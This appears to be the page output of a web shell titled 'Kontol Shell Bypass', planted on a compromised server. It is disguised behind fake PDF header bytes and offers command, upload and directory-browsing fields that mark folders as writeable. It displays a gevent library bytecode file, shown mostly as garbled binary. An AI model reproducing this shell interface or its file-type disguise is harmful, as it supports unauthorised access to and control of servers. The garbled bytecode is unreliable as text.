%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/gevent/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/gevent/__pycache__/util.cpython-39.pyc
a

�_g�W�@s<dZddlmZmZmZddlZddlZddlZddlZddl	m
Z
ddlmZddlm
Z
ddlmZddlmZgd	�Ze
r�d
ndZdd�Zd
d�ZGdd�de�Zddedfdd�Zddedfdd�Zdd�Zdd�Zdd�ZeZdd�ZGdd�de�ZGd d!�d!e�ZGd"d#�d#e �Z!Gd$d%�d%e�Z"d&d'�Z#dS)(z
Low-level utilities.
�)�absolute_import�print_function�divisionN)�
getcurrent)�perf_counter)�PYPY)�thread_mod_name)�_NONE)�format_run_info�print_run_info�GreenletTree�wrap_errors�assert_switches�cCsdS�N�rrr�8/vddos/python/lib/python3.9/site-packages/gevent/util.py�_noop!srcCsdS�NFrrrrr�_ready$src@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
r
a�
    Helper to make function return an exception, rather than raise it.

    Because every exception that is unhandled by greenlet will be logged,
    it is desirable to prevent non-error exceptions from leaving a greenlet.
    This can done with a simple ``try/except`` construct::

        def wrapped_func(*args, **kwargs):
            try:
                return func(*args, **kwargs)
            except (TypeError, ValueError, AttributeError) as ex:
                return ex

    This class provides a shortcut to write that in one line::

        wrapped_func = wrap_errors((TypeError, ValueError, AttributeError), func)

    It also preserves ``__str__`` and ``__repr__`` of the original function.
    cCs||_||_t�||�dS)z�
        Calling this makes a new function from *func*, such that it catches *errors* (an
        :exc:`BaseException` subclass, or a tuple of :exc:`BaseException` subclasses) and
        return it as a value.
        N)�_wrap_errors__errors�_wrap_errors__func�	functools�update_wrapper)�self�errors�funcrrr�__init__=szwrap_errors.__init__c
OsF|j}z||i|��WS|jy@}z|WYd}~Sd}~00dSr)rr)r�args�kwargsr�exrrr�__call__Hs
zwrap_errors.__call__cCs
t|j�Sr)�strr�rrrr�__str__Oszwrap_errors.__str__cCs
t|j�Sr)�reprrr#rrr�__repr__Rszwrap_errors.__repr__cCst|j|�Sr)�getattrr�r�namerrr�__getattr__Uszwrap_errors.__getattr__N)	�__name__�
__module__�__qualname__�__doc__rr!r$r&r*rrrrr
'sr
TcCs:t|||d�}|durtjn|}|D]}t||d�q$dS)z�
    Call `format_run_info` and print the results to *file*.

    If *file* is not given, `sys.stderr` will be used.

    .. versionadded:: 1.3b1
    )�
thread_stacks�greenlet_stacks�limitN)�file)r
�sys�stderr�print)r/r0r1r2�lines�lrrrrYs�rcCsT|dur"ddlm}|�td��}g}|tur2tn|}t||||�t|||�|S)a�
    format_run_info(thread_stacks=True, greenlet_stacks=True, limit=None) -> [str]

    Request information about the running threads of the current process.

    This is a debugging utility. Its output has no guarantees other than being
    intended for human consumption.

    :keyword bool thread_stacks: If true, then include the stacks for
       running threads.
    :keyword bool greenlet_stacks: If true, then include the stacks for
       running greenlets. (Spawning stacks will always be printed.)
       Setting this to False can reduce the output volume considerably
       without reducing the overall information if *thread_stacks* is true
       and you can associate a greenlet to a thread (using ``thread_ident``
       printed values).
    :keyword int limit: If given, passed directly to `traceback.format_stack`.
       If not given, this defaults to the whole stack under CPython, and a
       smaller stack under PyPy.

    :return: A sequence of text lines detailing the stacks of running
            threads and greenlets. (One greenlet will duplicate one thread,
            the current thread and greenlet. If there are multiple running threads,
            the stack for the current greenlet may be incorrectly duplicated in multiple
            greenlets.)
            Extra information about
            :class:`gevent.Greenlet` object will also be returned.

    .. versionadded:: 1.3a1
    .. versionchanged:: 1.3a2
       Renamed from ``dump_stacks`` to reflect the fact that this
       prints additional information about greenlets, including their
       spawning stack, parent, locals, and any spawn tree locals.
    .. versionchanged:: 1.3b1
       Added the *thread_stacks*, *greenlet_stacks*, and *limit* params.
    Nr)�monkey�	get_ident)�geventr8Zget_originalrr	�_STACK_LIMIT�_format_thread_info�_format_greenlet_info)r/r0r1�current_thread_identr8r6rrrr
is(r
cCs|jo|j�d�S)NZgevent_threadpool_worker_idle)�f_locals�get��framerrr�is_idle_threadpool_worker�srCc	Cs�ddl}dd�|��D�}|�d�|�d�d}d}t����D]�\}}|}	|�d�|�|�}d}
|s|t|�r�d}
d}	n|j}
t	|dd�r�t
|���}
||kr�d	|
f}
|�d
||
f�|	r�|�d�t
�||���qB|sB|�d�qB~~~~dS)
NrcSsi|]}|j|�qSr)�ident)�.0�thrrr�
<dictcomp>��z'_format_thread_info.<locals>.<dictcomp>�P********************************************************************************z	* Threadszidle threadpool workerF�gevent_monitoring_threadz%s) (CURRENTzThread 0x%x (%s)
�z	...stack elided...)�	threading�	enumerate�appendr3�_current_frames�itemsr@rCr)r'r%rJ�join�	traceback�format_stack)r6r/r1r>rL�threads�threadrBZthread_identZ	do_stacksr)rrrr<�s:




r<cCsj|�d�|�d�|�d�tt��dd�d�D]0}|�d�|�|j|jrR|nd|d�d	��q2~dS)
NrIz* GreenletscSs|jr
dSt|j�S�NrK)�is_current_treer%�greenlet)�trrr�<lambda>�rHz'_format_greenlet_info.<locals>.<lambda>��keyz---- Thread boundaryF)�running_stacks�running_stack_limit)�details)rN�sortedr�forest�extend�format_linesrW)r6r0r1�treerrrr=�s


�

�r=cst����fdd��}|S)Ncs&�|g|�Ri|��}|j�|�dSr)r6rN)rrr�r��frr�w�sz_line.<locals>.w)r�wraps)rgrhrrfr�_line�srjc@s�eZdZdZdZdZdZdZdZdZ	dZ
ddd	�Zd
d�Ze
dd
��Ze
efdd��Zdd�Ze
efdd��Zdd�Ze
efdd��Zdd�Zdd�ZdS)�_TreeFormatter�+�-�|�:��rcCs$g|_||_||_|s dd�|_dS)Nc_sdSrr)rrrrrrZ�rHz)_TreeFormatter.__init__.<locals>.<lambda>)r6�depthr_�
child_data)rr_rrrrrr�s
z_TreeFormatter.__init__cCst|�|j|jd�S)Nrp)�typer_rrr#rrr�deeper�sz_TreeFormatter.deepercCs|Srr)r�textrrr�
node_label�sz_TreeFormatter.node_labelcCs(d|j||j|jd|j|S�N� )�indent�
HORIZONTAL�horiz_width�label_space)r�label�rightrrr�
child_head�s�
����z_TreeFormatter.child_headcCs|�||j�Sr)r��UP_AND_RIGHT)rr~rrr�last_child_headsz_TreeFormatter.last_child_headcCsd|j|d|j|Srx)rzr|)r�line�verticalrrr�
child_tails����z_TreeFormatter.child_tailcCs|j|dt|j�d�S)Nry)r�)r��len�VERTICAL)rr�rrr�last_child_tailsz_TreeFormatter.last_child_tailcCs2d|j|js|ndd|jd|j|fSrx)rzrrr|r})r�dataZdata_markerrrrrss�����z_TreeFormatter.child_datacCs|�|d�Srx)rs)rr�rrr�last_child_data!sz_TreeFormatter.last_child_datacCs|��D]}|�|�qdSr)�
splitlinesrs)rr�r7rrr�child_multidata$sz_TreeFormatter.child_multidataN)r)r+r,r-r�r{r�ZVERTICAL_AND_RIGHTZDATAr}r|rzrrurjrwr�r�r�r�rsr�r�rrrrrk�s,

		rkc@s�eZdZdZdZdZdd�Zdd�Zedd	��Z	d
d�Z
deddd
�Zd&dd�Z
d'dd�Zdd�ZdZedd��Zedd��Zdd�Zdd�Zdd�Zedd��Zed d!��Zed"d#��Zed$d%��ZdS)(ra
    Represents a tree of greenlets.

    In gevent, the *parent* of a greenlet is usually the hub, so this
    tree is primarily arganized along the *spawning_greenlet* dimension.

    This object has a small str form showing this hierarchy. The `format`
    method can output more details. The exact output is unspecified but is
    intended to be human readable.

    Use the `forest` method to get the root greenlet trees for
    all threads, and the `current_tree` to get the root greenlet tree for
    the current thread.
    NFcCs||_g|_dSr)rX�child_trees)rrXrrrr@szGreenletTree.__init__cCs||urdS|j�|�dSr)r�rN)rrdrrr�	add_childDszGreenletTree.add_childcCs|jjduSr)rX�parentr#rrr�rootIszGreenletTree.rootcCst|j|�Sr)r'rXr(rrrr*MszGreenletTree.__getattr__T)r]r^�spawning_stacks�localscCs\t|t�s |si}q8|j��}n|}|j��}|�|�t|dd�}dd�|�|�D�}|S)z�
        Return a sequence of lines for the greenlet tree.

        :keyword bool details: If true (the default),
            then include more informative details in the output.
        r)rrcSs"g|]}t|t�r|dn|�qS)r)�
isinstance�tuple)rEr7rrr�
<listcomp>hs�z-GreenletTree.format_lines.<locals>.<listcomp>)r��dict�DEFAULT_DETAILS�copy�updaterk�_render)rr_�paramsrdr6rrrrcWs


�zGreenletTree.format_linescCs|�|�}d�|�S)z;
        Like `format_lines` but returns a string.
        �
)rcrQ)rr_r6rrr�formatls
zGreenletTree.formatcCs
|�d�Sr)r�r#rrrr$sszGreenletTree.__str__cCs6|�|�|jr$d�t�||��}nd}|�|�dSrV)rs�_SUPPORTS_TRACEBACKrQrRrSr�)�clsrdr~rBr1�tbrrrZ__render_tb~s

zGreenletTree.__render_tbcCst|dd�pt�S)NZspawning_greenlet)r'r�rXrrrZ__spawning_parent�szGreenletTree.__spawning_parentcCsjddlm}||j�}|rf|�d�|D]<\\}}}|s:q(|�d|t|�f�|�dt�|��q(dS)Nr)�all_local_dicts_for_greenletzGreenlet Locals:z  Local %s at %sz    )Zgevent.localr�rXrs�hexr��pprint�pformat)rrdr�Z	gr_locals�kind�idl�valsrrrZ__render_locals�s

zGreenletTree.__render_localscCs�t|j�}|js�t|jdt��rz|d7}|jjdurR|dt|jj�dd�7}q�t|jdd�dur�|dt|jj�7}n|d7}|�|�|�dt|jj��t|jd	d�dur�|�d
t|j�	���|jr�|j
r�|j
dr�|�|d|jj|j
d
�t|jdd�}|�r4|j
�r4|j
d�r4|�|d|d�|�
|j�}t|jdd�}|�r�|t|dd�u�r�|�d�|�t�|��|�|�z|�|�Wn(t�y�tdgt���R�Yn0|jS)N�readyz
; finishedz with value ��	exceptionz with exception z
; not runningzParent: rJzMonitoring Thread:r]zRunning:r^�spawning_stackr�zSpawned at:Zspawn_tree_localszSpawn Tree LocalszWhen rendering children)r%rXr'r�valuer�rwrsr�rJr_�_GreenletTree__render_tbZgr_frame�_GreenletTree__spawning_parentr�r�r��_GreenletTree__render_locals�_GreenletTree__render_children�RuntimeErrorr5r3�exc_infor6)rrdr~r�Zspawning_parentZtree_localsrrrr��s>

�

zGreenletTree._renderc
Cs�t|jdd�d�}t|�D]�\}}|�|���}|j}|j}|j}|t|�dkrd|j	}|j
}|j}||�d��|D]$}	t
|	t�r�||	d�qv||	�qvq|jS)NcSs"t|dd�t|dt��t|j�fS)NZ
minimal_ident���r�)r'r�idr�)�crrrrZ�s
�z0GreenletTree.__render_children.<locals>.<lambda>r[rpr)r`r�rMr�rur�r�rsr�r�r�r��popr�r�r6)
rrd�children�n�child�
child_tree�head�tailr�rsrrrZ__render_children�s$�	
zGreenletTree.__render_childrencCs"|jdurt|dd�s|j}q|S)NZgreenlet_tree_is_rootF)r�r'r�rrr�_root_greenlet�szGreenletTree._root_greenletc	Csddlm}|�t��}i}i}||�}||<||<d|_|j}|�}|D]�}|�|�}	|	durl||�}	|	||	�ur�|	|vr�|	|vs�J�||	�||	<||	<z||	}
Wn"ty�||	�}
||	<Yn0z||}Wn"ty�||�||<}Yn0|
�|�qN||fS)Nr)�get_reachable_greenletsT)Zgevent._greenlet_primitivesr�r�rrWr��KeyErrorr�)r�r�Z
main_greenletZtrees�roots�current_treeZ
root_greenletZglets�obZspawn_parentZparent_treer�rrr�_forest�s2
zGreenletTree._forestcCst|��d���S)z�
        forest() -> sequence

        Return a sequence of `GreenletTree`, one for each running
        native thread.
        r)�listr��values�r�rrrras	zGreenletTree.forestcCs|��dS)zl
        current_tree() -> GreenletTree

        Returns the `GreenletTree` for the current thread.
        rp)r�r�rrrr�#szGreenletTree.current_tree)T)T)r+r,r-r.rXrWrr��propertyr�r*r;r�rcr�r$r��classmethodr��staticmethodr�r�r�r�r�r�rar�rrrrr*s@
�

	
	

.!

)

rc@seZdZdS)�_FailedToSwitchN)r+r,r-rrrrr�,sr�c@s6eZdZdZdZdZdZd
dd�Zdd�Zdd	�Z	dS)ra|
    A context manager for ensuring a block of code switches greenlets.

    This performs a similar function as the :doc:`monitoring thread
    </monitoring>`, but the scope is limited to the body of the with
    statement. If the code within the body doesn't yield to the hub
    (and doesn't raise an exception), then upon exiting the
    context manager an :exc:`AssertionError` will be raised.

    This is useful in unit tests and for debugging purposes.

    :keyword float max_blocking_time: If given, the body is allowed
        to block for up to this many fractional seconds before
        an error is raised.
    :keyword bool hub_only: If True, then *max_blocking_time* only
        refers to the amount of time spent between switches into the
        hub. If False, then it refers to the maximum time between
        *any* switches. If *max_blocking_time* is not given, has no
        effect.

    Example::

        # This will always raise an exception: nothing switched
        with assert_switches():
            pass

        # This will never raise an exception; nothing switched,
        # but it happened very fast
        with assert_switches(max_blocking_time=1.0):
            pass

    .. versionadded:: 1.3

    .. versionchanged:: 1.4
        If an exception is raised, it now includes information about
        the duration of blocking and the parameters of this object.
    NFcCs||_||_dSr)�max_blocking_time�hub_only)rr�r�rrrr[szassert_switches.__init__cCstddlm}ddlm}|�|_}|js6|��|_n(|jrN|�||j�|_n|�	||j�|_t
�|_|j��|S)Nr)�get_hub)�_tracer)
r:r�r��hubr�ZGreenletTracer�tracerr�ZHubSwitchTracerZMaxSwitchTracerr�_enteredZ!monitor_current_greenlet_blocking)rr�r�r�rrr�	__enter___s
zassert_switches.__enter__cCs�|j��|j}d|_|j}d|_|dur.dS|�|�}|r�t�|j}|d}|�||i�}	|jrhdnd}
|
d|f7}
|j}|
|r�d|fnd7}
|
d7}
|
d�	|	�7}
t
|
��dS)Nrpz
To the hubzTo any greenletz in %.4f secondsz (max allowed %.4f seconds)rKr�)r��killr�Z
did_block_hubrr�Zdid_block_hub_reportr�r�rQr�)rrY�vr�r�r�Z	did_blockZexecution_time_sZactive_greenletZreport_lines�messageZ	max_blockrrr�__exit__ss"

zassert_switches.__exit__)NF)
r+r,r-r.r�r�r�rr�r�rrrrr/s&
rc	CsB|dur>z|��Wnttfy*Yn0|j��|j}qdS)z>Do our best to clear local variables in all frames in a stack.N)�clearr��AttributeErrorr?�f_backrArrr�clear_stack_frames�s
r�)$r.�
__future__rrrrr�r3rRrXrZgevent._compatrrrZgevent._utilr	�__all__r;rr�objectr
rr
rCr<r=Zdump_stacksrjrkr�AssertionErrorr�rr�rrrr�<module>sB
2�
4'E^

Kontol Shell Bypass